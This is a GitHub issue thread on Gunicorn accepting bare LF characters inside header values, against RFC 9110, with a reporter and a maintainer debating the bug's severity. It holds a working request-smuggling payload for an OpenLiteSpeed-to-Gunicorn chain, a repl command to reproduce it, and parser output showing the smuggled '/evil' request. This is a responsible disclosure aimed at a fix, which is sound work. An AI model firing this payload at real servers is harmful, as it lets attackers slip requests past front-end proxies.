New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
fix header value to be compliant with new RFC 9110 #3144
Comments
Which chain expose that ? Do you have any diagram ? Was it tested on latest master? |
Yes, this was tested on the latest master. Any proxy that doesn't normalize LF into CRLF as a header line terminator would work. This is a pretty easy mistake to make. One proxy that makes this mistake is OpenLiteSpeed. So the chain would be this: |
\n\n
-prefixed header value
WSGI applications must check there header to be safe. I don't see in the current example how an application could be in atatcked unless it's using an header like this. We protect already against long lines. However it's true we should be compliant with the HTTP RFC. A fix for it is needed. |
I'll give you a PoC then. Suppose you have OpenLiteSpeed acting as a reverse proxy for Gunicorn. OpenLiteSpeed treats
When OpenLiteSpeed forwards a request that uses single LF as a line ending, it does not translate that LF into a CRLF. This is a violation of RFC 9110 section 2.2:
Gunicorn allows LF bytes within header values. This is a violation of the RFC, as noted in the previous entries of this thread. This discrepancy allows for request smuggling to Gunicorn past OpenLiteSpeed. Here's a payload that executes request smuggling on OpenLiteSpeed <-> Gunicorn:
OpenLiteSpeed parses the payload like this: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'content-length', b'22'),
(b'test', b'a'),
],
body=b'GET /evil HTTP/1.1\r\n\r\n',
),
] (i.e. it sees one It therefore forwards the following to Gunicorn:
Gunicorn interprets this as follows: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'test', b'a\nContent-Length: 22'),
(b'x_forwarded_for', b'172.19.0.1'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[],
body=b'',
),
] (i.e. it sees two This is request smuggling. If you want to reproduce these results for yourself, you can do so by installing the HTTP Garden, starting it up, and running the following command in the repl: servers ols gunicorn; transducers ols_proxy; payload 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'; transduce; fanout The output should look something like this: [1]: 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'
⬇️ ols_proxy
[2]: 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 172.19.0.1\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'
ols: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'content-length', b'22'),
(b'test', b'a'),
(b'x-forwarded-for', b'172.19.0.1'),
],
body=b'GET /evil HTTP/1.1\r\n\r\n',
),
]
gunicorn: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'test', b'a\nContent-Length: 22'),
(b'x_forwarded_for', b'172.19.0.1'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[],
body=b'',
),
] |
please keep the topic title as is. We need to handle a new badly thought RFC that introduces this issue. This will be fixed. |
This attack has always been possible. The new RFCs require implementations to protect against it, and the older ones didn't. The new RFCs don't introduce this issue; they address it. Changing the title makes it seem like this issue is about rules lawyering, when it is in fact an exploitable bug. |
I reported this privately on June 2, so I'm reporting it publicly now.
Try sending Gunicorn the following payload:
Gunicorn will see an HTTP request with two headers,
(b'host', b'a')
, and(b'useless', b'\n\nGET / HTTP/1.1\nHost: a')
.Since the
\n
s persisted into the header value, this technically violates RFC 9110, which says this:Gunicorn will also violate this rule when it receives a header containing
\x00
or\r
.However, the more interesting consequence of this bug is that some HTTP proxies (lookin' at you, OpenLiteSpeed) accept and forward bare LF line endings without normalizing them into CRLFs. This renders Gunicorn vulnerable to request smuggling when used in conjunction with those servers.
The text was updated successfully, but these errors were encountered: